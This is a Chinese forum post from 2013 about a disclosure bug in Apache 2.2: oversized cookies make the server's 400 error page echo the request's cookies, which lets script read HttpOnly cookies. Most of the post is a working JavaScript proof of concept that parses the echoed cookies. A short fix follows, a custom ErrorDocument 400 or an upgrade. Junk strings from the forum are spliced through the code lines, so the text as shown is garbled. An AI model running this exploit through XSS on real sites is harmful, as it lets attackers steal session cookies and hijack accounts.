找回密码
 立即注册
查看: 3111|回复: 0
打印 上一主题 下一主题

Apache HttpOnly Cookie XSS跨站漏洞

[复制链接]
跳转到指定楼层
楼主
发表于 2013-4-19 19:15:43 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
很多程序以及一些商业或者成熟开源的cms文章系统为了防止xss盗取用户cookie的问题,一般都采用给cookie加上httponly的属性,来禁止直接使用js得到用户的cookie,从而降低xss的危害,而这个问题刚好可以用来绕过cookie的这个httponly的属性。
& Y2 e' Z" X! d6 m$ [
9 s: S, M# O$ p% Q# b! h! M用chrome打开一个站点,F12打开开发者工具,找到console输入如下代码并回车:! p) u0 u5 w7 Q
; R2 y  Z5 c  A
2 T8 H$ V& P; x1 b) a
// http://www.exploit-db.com/exploits/18442/0 v( [( b7 x7 o( |0 a. Q
function setCookies (good) {9 @, R& d# @7 n- R4 [
// Construct string for cookie value" {' \0 |% g& b! W' }" Q! U
var str = "";
' k9 a& {, d5 v/ C5 C* efor (var i=0; i< 819; i++) {
! d4 C$ j5 r' x# g4 Kstr += "x";- |7 f/ l3 D) `
}
2 p, P- N' P( {// Set cookies
# h1 k7 {- R+ e* P* h- _for (i = 0; i < 10; i++) {
3 i* R2 z9 t3 l& v- O: U# Y// Expire evil cookie
# W% R; |6 S! c9 c3 E6 y* ~if (good) {
& C! Z( p) S, ]; Z) I' G, @var cookie = "xss"+i+"=;expires="+new Date(+new Date()-1).toUTCString()+"; path=/;";+ @3 P% w0 _7 c; x8 U& x
}
' g, z6 p3 S, D  i// Set evil cookie0 }7 h6 \  S& Y/ j9 T
else {) E. p7 |6 m3 i; A) {' S& i
var cookie = "xss"+i+"="+str+";path=/";- i. b8 p" f5 r( f2 `) F& w
}
0 R# P2 a' y2 E6 x) l, b% Gdocument.cookie = cookie;# G  ~7 ]+ F' T/ M
}
* J+ e- b" S$ E' l1 z$ Y. n* O}9 T' N* w- j6 o$ p, S
function makeRequest() {
0 ^& M/ D/ G7 b8 }, ]; KsetCookies();4 Z& z( y% D# _# Q
function parseCookies () {
8 T8 R" T8 t  Z0 y2 Z: Wvar cookie_dict = {};
( Q/ r$ V5 }8 L/ k; U// Only react on 400 status
. v" |# f* }5 b0 V" `9 vif (xhr.readyState === 4 && xhr.status === 400) {5 l' X! ]) E+ d; X* Z& ^2 Y
// Replace newlines and match <pre> content+ m& ^9 F; f4 Y
var content = xhr.responseText.replace(/\r|\n/g,'').match(/<pre>(.+)<\/pre>/);
' {2 n: l; N3 f. Cif (content.length) {& o1 K7 w& I' [: |( [
// Remove Cookie: prefix
, W. l' i9 k4 \  N4 X) v; T/ t) V5 Ncontent = content[1].replace("Cookie: ", "");
% s! Y8 t0 [5 Y, d3 f* Jvar cookies = content.replace(/xss\d=x+;?/g, '').split(/;/g);
! @1 B. L. D- @1 b0 S: p5 d// Add cookies to object: q# {' B3 g, ]5 W0 w1 t
for (var i=0; i<cookies.length; i++) {# ~. B" r4 g8 |
var s_c = cookies.split('=',2);; o% F0 a( e1 [  E
cookie_dict[s_c[0]] = s_c[1];
9 G7 K! ?3 a/ d6 n7 R! v}" j* O9 l5 r/ v9 [
}
! T/ t, X1 H: b% `// Unset malicious cookies3 D- ?1 D8 t* T# \5 a4 t  e2 U
setCookies(true);
( t. N8 _0 J2 p$ s% s, Qalert(JSON.stringify(cookie_dict));. Y' b, \! R- r# m( |9 D
}$ y( W2 |+ z8 d% a# r
}
: x2 K7 J# K- y// Make XHR request! V/ i! C3 Y; k. H5 @% K% V. P
var xhr = new XMLHttpRequest();1 F( ^: ]% X) }6 s9 y8 p0 P8 k$ T: I0 x
xhr.onreadystatechange = parseCookies;2 S8 ~' I( i, Q* @! `
xhr.open("GET", "/", true);  H: @8 H1 u( }: i! C1 r
xhr.send(null);
, `1 N/ Z# D. u# B. K}/ D2 }8 a7 s4 ?/ ^4 x
makeRequest();
4 n) @/ b$ B. h8 C  _8 F8 Q8 S2 a) n% h( h. ^) _; p, K
你就能看见华丽丽的400错误包含着cookie信息。/ i0 Y  Z9 {8 R: s. S
. Y+ V5 m3 r, ^* x4 {3 U
下载地址:https://gist.github.com/pilate/1955a1c28324d4724b7b/download#$ L& |* X7 v/ |8 i! R2 C

1 x" o, g5 x5 ]) |修复方案:
2 [0 w) K7 v5 ?7 f
7 m5 \+ t% V7 X. V( ]9 _$ R+ kApache官方提供4种错误处理方式(http://httpd.apache.org/docs/2.0/mod/core.html#errordocument),如下7 _: x; U3 W8 S+ v  f9 Q7 q2 s9 G3 q4 d

+ Y6 R1 M5 ~' ?2 [) `In the event of a problem or error, Apachecan be configured to do one of four things,
# a& v, y' O, B1 I
1 k& @. Z' i1 R3 D8 [8 X: p1. output asimple hardcoded error message输出一个简单生硬的错误代码信息
/ W2 Y% F" [4 e' C% ]1 I2. output acustomized message输出一段信息
# D/ A, {- ]& m, R2 T# b3. redirect to alocal URL-path to handle the problem/error转向一个本地的自定义页面 ( [& i2 w/ X7 L
4. redirect to an external URL to handle theproblem/error转向一个外部URL
+ z* O5 }( y/ t% a9 z$ ^4 O- m" x# @4 }$ g5 Q" V& n
经测试,对于400错误只有方法2有效,返回包不会再包含cookie内容8 j; C% A8 ~- |6 `0 ~' N

2 s& `0 c, e2 TApache配置:  a" ?; [( W4 d% E! b- e
  O! A7 c2 N; e2 o4 U
ErrorDocument400 " security test"" z& C: r2 a3 M( }0 ~8 W

3 q" v* g1 l( r$ v! E0 S+ x当然,升级apache到最新也可:)。
5 g/ z' h+ r/ T; X. m0 ~; Y3 V* R. z- v' L4 a. q
参考:http://httpd.apache.org/security/vulnerabilities_22.html: P3 F8 I0 W: T0 Q7 k; H
; F7 M- @1 r- g, b
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表